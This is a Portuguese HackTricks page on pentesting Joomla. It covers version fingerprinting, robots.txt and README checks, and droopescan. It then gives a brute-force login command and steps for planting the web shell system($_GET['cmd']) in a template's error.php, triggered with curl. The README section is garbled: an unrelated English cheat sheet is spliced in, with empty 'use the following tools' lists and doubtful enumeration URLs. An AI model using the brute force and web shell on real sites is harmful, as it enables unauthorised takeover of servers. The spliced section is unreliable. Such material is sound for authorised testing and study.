7.7 KiB
Joomla
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud.
Estatísticas do Joomla
O Joomla coleta algumas estatísticas anônimas de uso, como a distribuição das versões do Joomla, PHP e banco de dados e sistemas operacionais do servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua API pública.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumeração
Descoberta/Footprinting
- Verifique o meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
O arquivo robots.txt é um arquivo de texto que contém instruções para os robôs dos mecanismos de busca. Ele é usado para indicar quais páginas ou seções do site devem ser rastreadas ou não pelos robôs. É importante verificar se há informações sensíveis ou vulnerabilidades que possam ser exploradas pelos atacantes no arquivo robots.txt.
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
Joomla
Enumeration
Version
To know the version of Joomla you can check the generator meta tag in the HTML code of the website or check the changelog.txt file in the root directory.
Components
To enumerate the components installed in Joomla you can use the following URL:
http://<target>/index.php?option=com_config&view=component&component=<component_name>
Modules
To enumerate the modules installed in Joomla you can use the following URL:
http://<target>/index.php?option=com_config&view=component&component=com_modules
Templates
To enumerate the templates installed in Joomla you can use the following URL:
http://<target>/index.php?option=com_config&view=component&component=com_templates
Users
To enumerate the users in Joomla you can use the following URL:
http://<target>/index.php?option=com_users&view=users
Vulnerabilities
To search for vulnerabilities in Joomla you can use the following tools:
Exploitation
SQL Injection
To exploit SQL injection vulnerabilities in Joomla you can use the following tools:
Remote Code Execution
To exploit remote code execution vulnerabilities in Joomla you can use the following tools:
File Upload
To exploit file upload vulnerabilities in Joomla you can use the following tools:
Password Hashes
To crack password hashes in Joomla you can use the following tools:
Reverse Shell
To get a reverse shell in Joomla you can use the following tools:
Privilege Escalation
To escalate privileges in Joomla you can use the following tools:
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Versão
- Em /administrator/manifests/files/joomla.xml você pode ver a versão.
- Em /language/en-GB/en-GB.xml você pode obter a versão do Joomla.
- Em plugins/system/cache/cache.xml você pode ver uma versão aproximada.
Automático
droopescan scan joomla --url http://joomla-site.local/
Em 80,443 - Metodologia de Pentesting Web há uma seção sobre scanners de CMS que podem escanear o Joomla.
Brute-Force
Você pode usar este script para tentar fazer brute force no login.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Se você conseguiu obter as credenciais de admin, você pode executar código remotamente (RCE) adicionando um trecho de código PHP para obter RCE. Podemos fazer isso personalizando um template.
- Clique em
Templates
na parte inferior esquerda emConfiguration
para abrir o menu de templates. - Clique em um nome de template. Vamos escolher
protostar
sob o cabeçalhoTemplate
. Isso nos levará à páginaTemplates: Customise
. - Finalmente, você pode clicar em uma página para abrir a fonte da página. Vamos escolher a página
error.php
. Vamos adicionar um comando PHP para obter a execução de código da seguinte forma:system($_GET['cmd']);
- Salvar e Fechar
curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id